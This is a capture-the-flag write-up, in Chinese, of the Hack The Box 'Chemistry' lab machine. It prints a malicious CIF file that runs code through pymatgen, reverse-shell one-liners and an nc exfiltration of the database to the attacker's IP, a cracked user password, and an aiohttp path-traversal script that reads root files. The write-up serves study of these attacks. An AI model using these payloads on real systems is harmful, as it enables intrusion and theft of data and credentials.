HTB Chemistry

Chemistry

Enumeration

1
└─$ rustscan -a 10.10.11.38  -- -sC -sV -Pn

image
好像沒有沒什麼特別的路徑
image
就兩個 port
先到 /register 註冊 test:test
image
登入後就重導向到
image
here 下載 example.cif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1

上傳後
image
點View
image
嘗試SSTI 在檔案末尾加 49 之類,但不是回應500就是View後沒有變化

Exploitation

google CIF upload exploit
image
image
螢幕擷取畫面 2025-01-06 110745
直接複製這裡的PoC
但發現不管system參數是甚麼,上傳後都回應500
用常見 reverseshell (ex. bash -c 'bash -i >& /dev/tcp/10.10.14.252/9001 0>&1')也收不到回應
後來知道是因為單引號沒escape

改用 curl 測試是否有被執行並可以連到 local
kali sudo python3 -m http.server 8000
vuln.cif

1
2
3
...
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://10.10.14.20:8000");0,0,0'
...

image
可以執行並連到,那理論上 reverse shell 也是可以的
接下來在 burpsuite repeater 開始把 curl http://10.10.14.20:8000 逐一替換成 https://www.revshells.com/ 的指令,並去 View 使 server 觸發執行
直到替換成 busybox nc 10.10.14.20 9001 -e sh
image
View 後
image
python3 -c 'import pty; pty.spawn("/bin/bash")' 升級 shell

Lateral Movement

image
要想辦法移動到 rosa
image
app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid

app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}

db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'

class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(150), nullable=False, unique=True)
password = db.Column(db.String(150), nullable=False)

class Structure(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
filename = db.Column(db.String(150), nullable=False)
identifier = db.Column(db.String(100), nullable=False, unique=True)

@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']

def calculate_density(structure):
atomic_mass_Si = 28.0855
num_atoms = 2
mass_unit_cell = num_atoms * atomic_mass_Si
mass_in_grams = mass_unit_cell * 1.66053906660e-24
volume_in_cm3 = structure.lattice.volume * 1e-24
density = mass_in_grams / volume_in_cm3
return density

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if User.query.filter_by(username=username).first():
flash('Username already exists.')
return redirect(url_for('register'))
hashed_password = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password=hashed_password)
db.session.add(new_user)
db.session.commit()
login_user(new_user)
return redirect(url_for('dashboard'))
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter_by(username=username).first()
if user and user.password == hashlib.md5(password.encode()).hexdigest():
login_user(user)
return redirect(url_for('dashboard'))
flash('Invalid credentials')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/dashboard')
@login_required
def dashboard():
structures = Structure.query.filter_by(user_id=current_user.id).all()
return render_template('dashboard.html', structures=structures)

@app.route('/upload', methods=['POST'])
@login_required
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
identifier = str(uuid.uuid4())
filepath = os.path.join(app.config['UPLOAD_FOLDER'], identifier + '_' + filename)
file.save(filepath)
new_structure = Structure(user_id=current_user.id, filename=filename, identifier=identifier)
db.session.add(new_structure)
db.session.commit()
return redirect(url_for('dashboard'))
return redirect(request.url)

@app.route('/structure/<identifier>')
@login_required
def show_structure(identifier):
structure_entry = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure_entry.identifier + '_' + structure_entry.filename)
parser = CifParser(filepath)
structures = parser.parse_structures()

structure_data = []
for structure in structures:
sites = [{
'label': site.species_string,
'x': site.frac_coords[0],
'y': site.frac_coords[1],
'z': site.frac_coords[2]
} for site in structure.sites]

lattice = structure.lattice
lattice_data = {
'a': lattice.a,
'b': lattice.b,
'c': lattice.c,
'alpha': lattice.alpha,
'beta': lattice.beta,
'gamma': lattice.gamma,
'volume': lattice.volume
}

density = calculate_density(structure)

structure_data.append({
'formula': structure.formula,
'lattice': lattice_data,
'density': density,
'sites': sites
})

return render_template('structure.html', structures=structure_data)

@app.route('/delete_structure/<identifier>', methods=['POST'])
@login_required
def delete_structure(identifier):
structure = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure.identifier + '_' + structure.filename)
if os.path.exists(filepath):
os.remove(filepath)
db.session.delete(structure)
db.session.commit()
return redirect(url_for('dashboard'))

if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)

MyS3cretCh3mistry4PP 這可能是 sqllite 的密碼 但其實沒用到
image
有個奇怪檔案應該是別人弄出來的不用管
把db下載到local

1
2
3
4
5
6
7
# remote
app@chemistry:~$ nc 10.10.14.20 9002 < instance/database.db
nc 10.10.14.20 9002 < instance/database.db
# local
└─$ nc -lvnp 9002 > database.db
listening on [any] 9002 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.38] 58458

其實可以在 shell 開 python http.server
kali 開個分頁 ls -l 確認 database.db 的大小沒錯,傳送完了,就手動斷開連接
直接雙擊打開
image
用test的hash測試,是 MD5
image
hash.txt 63ed86ee9f624c7b14f1d4f43dc251a5
image
rosa:unicorniosrosados
ssh成功

1
└─$ ssh rosa@10.10.11.38

image

Privilege Escalation

Enumeration

image
奇怪的 port 8080
image
curl 一下發現好像是個網站
把 8080 port 轉發到 kali 8002 port,方便進行枚舉,並且 8080 port 是 burpsuite 預設 port

1
2
# kali
└─$ ssh -L 8002:127.0.0.1:8080 rosa@10.10.11.38

轉發成功
image
image
有個 servise aiohttp
瀏覽器開啟來看沒有其他 path 或有用的東西
image
dirseach 也沒有可以讀的 path
image

exloitation

google aiohttp/3.9.1 exploit
image
image
複製其中的 exploit.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

url="http://localhost:8002"
string="../"
payload="/static/"
file="etc/passwd" # without the first /

for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"

if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done

image
但是都404
因為其實沒有 /static path
image
改用 /assets => payload="/assets/"
image
發現它有 root 權限
image
直接讀flag
image